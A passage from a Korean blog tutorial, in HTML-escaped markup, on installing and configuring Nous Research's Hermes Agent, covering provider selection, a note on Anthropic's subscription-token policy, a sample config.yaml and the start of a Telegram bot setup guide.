# &quot;How would you like to set up Hermes?&quot;
#   &amp;rarr; Quick setup &amp;mdash; provider, model &amp;amp; messaging (recommended)
#      Full setup &amp;mdash; configure everything
#
# Quick setup: 공급자&amp;middot;모델 선택만 완료하면 바로 시작
# Full setup: 터미널 백엔드&amp;middot;메모리&amp;middot;압축 등 세부 설정까지 진행
#
# Quick setup &amp;rarr; &quot;Select provider:&quot; 목록
#   &amp;rarr; Nous Portal (Nous Research subscription)
#      OpenRouter (100+ models, pay-per-use)
#      Anthropic (Claude models &amp;mdash; API key or Claude Code)  &amp;larr; ⚠ 구독 토큰 사용 금지 (2026-04-04~), API 키만 허용
#      OpenAI Codex
#      Qwen OAuth (reuses local Qwen CLI login)
#      GitHub Copilot (uses GITHUB_TOKEN or gh auth token)
#      Hugging Face Inference Providers (20+ open models)
#      More providers...
#
# ⚠ 2026-04-04부터 Claude Code 구독 토큰의 3자 서비스 사용이 금지됐다.
#    Hermes에서 Anthropic 모델을 쓰려면 API 키(console.anthropic.com)를 발급받아야 한다.
#
# [선택사항] OpenClaw가 설치된 경우에만 표시 &amp;mdash; 없어도 무관
# &amp;rarr; &quot;OpenClaw Installation Detected&quot;
#    Found OpenClaw data at ~/.openclaw
# &amp;rarr; &quot;Would you like to import from OpenClaw? [Y/n]:&quot;
#    Y: 메모리&amp;middot;스킬&amp;middot;크론&amp;middot;API 키 자동 이전 / N 또는 미설치: 다음 단계로

# 3. 바로 사용할 수 있는 기본 기능
❯ 현재 디스크 사용량 상위 5개 디렉토리 보여줘    # 터미널 명령 실행
❯ /help                                          # 슬래시 명령 목록
❯ /personality pirate                            # 페르소나 변경

# 4. 세션 이어가기
hermes -c           # 가장 최근 세션 재개&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/&lt;/code&gt;를 입력하면 자동완성이 뜨며, &lt;code&gt;/help&lt;/code&gt;, &lt;code&gt;/tools&lt;/code&gt;, &lt;code&gt;/model&lt;/code&gt; 등 슬래시 명령을 사용할 수 있다. 멀티라인 입력은 &lt;code&gt;Alt+Enter&lt;/code&gt; 또는 &lt;code&gt;Ctrl+J&lt;/code&gt;다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 설치 예시&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1038&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkaMtF/dJMcajoc2CB/4R6tq0Kf5SDNZJ4O03sXI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkaMtF/dJMcajoc2CB/4R6tq0Kf5SDNZJ4O03sXI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkaMtF/dJMcajoc2CB/4R6tq0Kf5SDNZJ4O03sXI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkaMtF%2FdJMcajoc2CB%2F4R6tq0Kf5SDNZJ4O03sXI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;503&quot; height=&quot;196&quot; data-origin-width=&quot;1038&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;OpenClaw 연동 여부에 따라 OpenClaw에 되어있는 설정을 가져 갈 수 있는것으로 보인다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;608&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oUpT7/dJMcagSDK1T/rwfkpfJOouSAv9dTbSq2pk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oUpT7/dJMcagSDK1T/rwfkpfJOouSAv9dTbSq2pk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oUpT7/dJMcagSDK1T/rwfkpfJOouSAv9dTbSq2pk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoUpT7%2FdJMcagSDK1T%2FrwfkpfJOouSAv9dTbSq2pk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;315&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;608&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- quick setup 으로 진행&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;186&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYoaLV/dJMcaaLEGGT/cU2bzccOGPSnijXD72N1G0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYoaLV/dJMcaaLEGGT/cU2bzccOGPSnijXD72N1G0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYoaLV/dJMcaaLEGGT/cU2bzccOGPSnijXD72N1G0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYoaLV%2FdJMcaaLEGGT%2FcU2bzccOGPSnijXD72N1G0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;536&quot; height=&quot;112&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;186&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;⚠ 주의: Claude Code 구독 토큰의 3자 서비스 사용 금지 (2026-04-04 시행)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic은 2026년 4월 4일부터 Claude Free/Pro/Max 구독의 OAuth 토큰을 Hermes Agent, OpenClaw 등 제3자 도구에서 사용하는 것을 &lt;b&gt;정책 위반&lt;/b&gt;으로 규정하고 기술적 차단을 적용했다. 구독 토큰은 Claude.ai 웹과 Claude Code 공식 CLI에서만 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes에서 Anthropic 모델을 쓰려면 &lt;b&gt;API 키 방식&lt;/b&gt;(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://console.anthropic.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;console.anthropic.com&lt;/a&gt;에서 발급, 종량제)을 사용해야 한다. 위반 시 사전 통보 없이 계정이 정지될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.theregister.com/2026/04/06/anthropic_closes_door_on_subscription/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Register&lt;/a&gt;, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://techcrunch.com/2026/04/04/anthropic-says-claude-code-subscribers-will-need-to-pay-extra-for-openclaw-support/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 나의 경우 Anthropic - claude code 선택 (아래는 정책 변경 전 테스트 시점의 스크린샷이다)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cE06uX/dJMcaipn5tv/HRIETDjKrFTFkaWXwY2Ekk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cE06uX/dJMcaipn5tv/HRIETDjKrFTFkaWXwY2Ekk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cE06uX/dJMcaipn5tv/HRIETDjKrFTFkaWXwY2Ekk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcE06uX%2FdJMcaipn5tv%2FHRIETDjKrFTFkaWXwY2Ekk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;468&quot; height=&quot;192&quot; data-origin-width=&quot;838&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 구독모델 선택&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;366&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IUEsg/dJMcagyi6YI/SgrJfkLqAvGb87aqTI0HKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IUEsg/dJMcagyi6YI/SgrJfkLqAvGb87aqTI0HKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IUEsg/dJMcagyi6YI/SgrJfkLqAvGb87aqTI0HKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIUEsg%2FdJMcagyi6YI%2FSgrJfkLqAvGb87aqTI0HKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;353&quot; height=&quot;166&quot; data-origin-width=&quot;778&quot; data-origin-height=&quot;366&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 챗 실행여부를 물어보면 Y로 진행해보자.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;1542&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEj80x/dJMcahxfSjX/jcVRJAJNrSqWB9AxXr5dkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEj80x/dJMcahxfSjX/jcVRJAJNrSqWB9AxXr5dkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEj80x/dJMcahxfSjX/jcVRJAJNrSqWB9AxXr5dkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEj80x%2FdJMcahxfSjX%2FjcVRJAJNrSqWB9AxXr5dkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1990&quot; height=&quot;1542&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;1542&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 혹시 다음과 같이 오류가 발생하면, 보통 터미널 문제이다. 하기에 별도로 관련 내용도 작성해 두었다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;914&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baYUP1/dJMcafMZsD3/OlVmLpBGlrdDKCTe8y2gCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baYUP1/dJMcafMZsD3/OlVmLpBGlrdDKCTe8y2gCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baYUP1/dJMcafMZsD3/OlVmLpBGlrdDKCTe8y2gCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaYUP1%2FdJMcafMZsD3%2FOlVmLpBGlrdDKCTe8y2gCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1990&quot; height=&quot;914&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;914&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 정상적으로 실행이 된 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2190&quot; data-origin-height=&quot;1824&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cA60va/dJMcahjJTUC/Flz2duNag9EEDbAQBDGh9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cA60va/dJMcahjJTUC/Flz2duNag9EEDbAQBDGh9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cA60va/dJMcahjJTUC/Flz2duNag9EEDbAQBDGh9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcA60va%2FdJMcahjJTUC%2FFlz2duNag9EEDbAQBDGh9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2190&quot; height=&quot;1824&quot; data-origin-width=&quot;2190&quot; data-origin-height=&quot;1824&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;config.yaml 기본 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정 파일은 &lt;code&gt;~/.hermes/config.yaml&lt;/code&gt;이 단일 소스다. 우선순위: CLI 인자 &amp;gt; config.yaml &amp;gt; .env &amp;gt; 기본값.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/configuration/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Configuration 문서&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;yaml&quot;&gt;&lt;code&gt;# ~/.hermes/config.yaml &amp;mdash; 자주 사용하는 핵심 설정
agent:
  max_turns: 90
  reasoning_effort: &quot;&quot;        # xhigh, high, medium, low, minimal, none

terminal:
  backend: local              # local | docker | ssh | modal | daytona | singularity
  timeout: 180
  persistent_shell: true

memory:
  memory_enabled: true
  user_profile_enabled: true
  memory_char_limit: 2200

compression:
  enabled: true
  threshold: 0.50
  summary_model: &quot;google/gemini-3-flash-preview&quot;

display:
  tool_progress: all          # off | new | all | verbose
  show_cost: false

skills:
  config: {}

security:
  redact_secrets: true&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;hermes config edit&lt;/code&gt;로 편집하거나 &lt;code&gt;hermes config set KEY VAL&lt;/code&gt;로 개별 항목을 변경할 수 있다. &lt;code&gt;hermes config check&lt;/code&gt;는 업데이트 후 누락된 옵션을 찾아준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 핵심 기능 상세&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;다중 플랫폼 게이트웨이&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널 CLI만 쓸 수도 있지만, Telegram, Discord, Slack, WhatsApp, Signal을 게이트웨이로 연결할 수 있다. 공식 문서는 14+ 플랫폼을 언급하는데, README에서 이름이 확인되는 건 이 5종이다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub README&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, Slack에서 &quot;배포해줘&quot;라고 보내면 에이전트가 서버에서 실행하고 결과를 돌려준다. 메시징 앱이 곧 에이전트 리모컨이 되는 셈이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Telegram 연동 미니 튜토리얼&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 많이 쓰이는 Telegram 연동 방법을 정리한다. 5분이면 된다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/messaging/telegram&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes Telegram 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1: 봇 만들기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Telegram에서 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://t.me/BotFather&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@BotFather&lt;/a&gt;를 검색해서 대화를 시작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/newbot&lt;/code&gt;을 보내면 이름과 username(끝이 &lt;code&gt;bot&lt;/code&gt;으로 끝나야 함)을 물어본다. 완료되면 &lt;code&gt;123456789:ABCdefGHI...&lt;/code&gt; 형태의 봇 토큰을 준다. 이 토큰은 비밀로 유지해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #495057;&quot; data-ke-size=&quot;size16&quot;&gt;상단 검색창에&lt;span&gt;&amp;nbsp;&lt;/span&gt;@BotFather&lt;span&gt;&amp;nbsp;&lt;/span&gt;검색 &amp;rarr; 클릭해서 채팅 시작&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;327&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btPvXW/dJMcacaTaU0/uJIyDCzKmGDkOKIapxnYHK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btPvXW/dJMcacaTaU0/uJIyDCzKmGDkOKIapxnYHK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btPvXW/dJMcacaTaU0/uJIyDCzKmGDkOKIapxnYHK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtPvXW%2FdJMcacaTaU0%2FuJIyDCzKmGDkOKIapxnYHK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;445&quot; height=&quot;327&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;327&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;position: absolute;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;784&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dc16Sl/dJMb996hRCg/h7pHOvwDgopaix1c6yVPR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dc16Sl/dJMb996hRCg/h7pHOvwDgopaix1c6yVPR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dc16Sl/dJMb996hRCg/h7pHOvwDgopaix1c6yVPR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdc16Sl%2FdJMb996hRCg%2Fh7pHOvwDgopaix1c6yVPR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;289&quot; height=&quot;210&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1080&quot; data-origin-height=&quot;784&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 8px 0; color: #495057;&quot; data-ke-size=&quot;size16&quot;&gt;채팅창에&lt;span&gt;&amp;nbsp;&lt;/span&gt;/newbot&lt;span&gt;&amp;nbsp;&lt;/span&gt;입력 후 전송&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPYJz0/dJMcacopRUe/x55Fjtk28WP3eP84kKAAjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPYJz0/dJMcacopRUe/x55Fjtk28WP3eP84kKAAjK/img.png&quot; id=&quot;kEditorPhotosEditingImage-3&quot; style=&quot;width: 50.7913%; margin-right: 10px;&quot; width=&quot;520&quot; height=&quot;1094&quot; data-widthpercent=&quot;51.39&quot; data-filename=&quot;blob&quot; data-origin-height=&quot;700&quot; data-origin-width=&quot;300&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPYJz0/dJMcacopRUe/x55Fjtk28WP3eP84kKAAjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPYJz0%2FdJMcacopRUe%2Fx55Fjtk28WP3eP84kKAAjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;700&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEtGEV/dJMcafSYf6d/rfmZ3z9K0XeaxTivAfKX3K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEtGEV/dJMcafSYf6d/rfmZ3z9K0XeaxTivAfKX3K/img.jpg&quot; id=&quot;kEditorPhotosEditingImage-4&quot; style=&quot;width: 48.0459%;&quot; data-widthpercent=&quot;48.61&quot; data-filename=&quot;KakaoTalk_Photo_2026-01-29-00-32-56 002.jpeg&quot; data-origin-height=&quot;2664&quot; data-origin-width=&quot;1080&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEtGEV/dJMcafSYf6d/rfmZ3z9K0XeaxTivAfKX3K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEtGEV%2FdJMcafSYf6d%2FrfmZ3z9K0XeaxTivAfKX3K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;2664&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 30px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;darr;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #495057;&quot; data-ke-size=&quot;size16&quot;&gt;BotFather가 질문하면 답변 입력&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 50px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &quot;봇 이름?&quot; &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;xxxx_bot&lt;span&gt;&amp;nbsp;&lt;/span&gt;(자유롭게)&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #6c757d; padding-left: 50px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;bull; &quot;봇 username?&quot; &amp;rarr;&lt;span&gt; xxx&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0; color: #28a745;&quot; data-ke-size=&quot;size16&quot;&gt;토큰 발급 완료! (채팅으로 토큰이 표시됨)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;KakaoTalk_Photo_2026-01-29-00-33-02.jpeg&quot; data-origin-width=&quot;864&quot; data-origin-height=&quot;1410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpHJJk/dJMcac2XQaq/XOjouKcyjVF3Mj5S25RbIk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpHJJk/dJMcac2XQaq/XOjouKcyjVF3Mj5S25RbIk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpHJJk/dJMcac2XQaq/XOjouKcyjVF3Mj5S25RbIk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpHJJk%2FdJMcac2XQaq%2FXOjouKcyjVF3Mj5S25RbIk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; 